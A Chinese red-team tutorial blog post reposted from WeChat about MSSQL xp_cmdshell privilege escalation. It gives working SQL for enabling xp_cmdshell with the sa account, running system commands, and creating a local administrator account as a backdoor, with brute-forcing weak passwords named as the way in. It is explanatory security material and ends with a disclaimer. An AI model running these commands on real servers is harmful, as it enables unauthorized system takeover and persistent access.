写在前面
MSSQL xp_cmdshell提权漏洞上一个红队项目内网遇到的漏洞,之前只是知道有这么一个漏洞,没了解原理也没实战过,这里简单记录一下。每一个能getshell的漏洞都值得记录。
目录
0x01 MSSQL前提知识
0x02 影响范围
0x03 发现方式
0x04 利用前提
0x05 利用过程
0x06 后续利用
0x07 工具获取
0x08 参考
MSSQL前提知识
MSSQL数据库:MSSQL(MicroSoft SQL Server数据库),是微软开发的关系型数据库管理系统DBMS,是一个较大型的数据库,提供数据库的从服务器到终端的完整的解决方案,数据库管理系统SSMS(SQL Server Managerment Studio),是一个用于建立、使用和维护数据库的集成开发环境。端口号:1433。
三种用户权限:
-
sa权限:数据库操作,文件管理,命令执行,注册表读取等价于system,SQLServer数据库的最高权限。在搭建MSSQL时,选择使用SQL Server身份验证会创建SA账户并设置密码,SA 表示系统管理员,在SQLServer2019之前的SA用户都是系统最高权限用户SYSTEM,但在2019版本时为普通数据库用户mssqlserver,是一个低权用户。
-
db权限:文件管理,数据库操作等价于 users-administrators
-
public权限:数据库操作等价于 guest-users
xp_cmdshell:xp_cmdshell是Sql Server中的一个组件,将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出。通常在拿到sa口令之后,可以通过xp_cmdshell来进行提权。
影响范围
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后默认禁止,但未删除。
发现方式
端口扫描+弱口令爆破
利用前提
Mssql数据库服务未降权(sa权限)
已获取到数据库密码
手动利用
获取sa账号密码后,连接上数据库,从dbo.sysobjects中查询,判断xp_cmdshell状态。有返回则为已开启。
//有返回即已开启,xtype为对象类型,xtype='x'这里表示xp_cmdshell的对象类型为扩展存储过程。
select * from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
//只用判断存在,利用count(*)即可,返回1即存在。
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
利用EXEC启用xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
利用xp_cmdshell执行命令,通过xp_cmdshell执行系统命令指令如下
exec master..xp_cmdshell 'whoami'
也可以使用sharpSQLTools工具一步到位
后续利用
添加管理员用户,后续就可以管理员登录了。
//添加账号test 密码123.com的用户
exec master..xp_cmdshell "net user test12 123.com /add"
exec master..xp_cmdshell "net localgroup administrators test12 /add"
exec master..xp_cmdshell "net user test12"
工具获取
公众号回复"MSSQL",获取工具。
参考
http://cn-sec.com/archives/459682.html
写在最后
本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好地维护个人信息安全、企业安全、国家安全。
未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
原文始发于微信公众号(云下信安):MSSQL xp_cmdshell提权漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论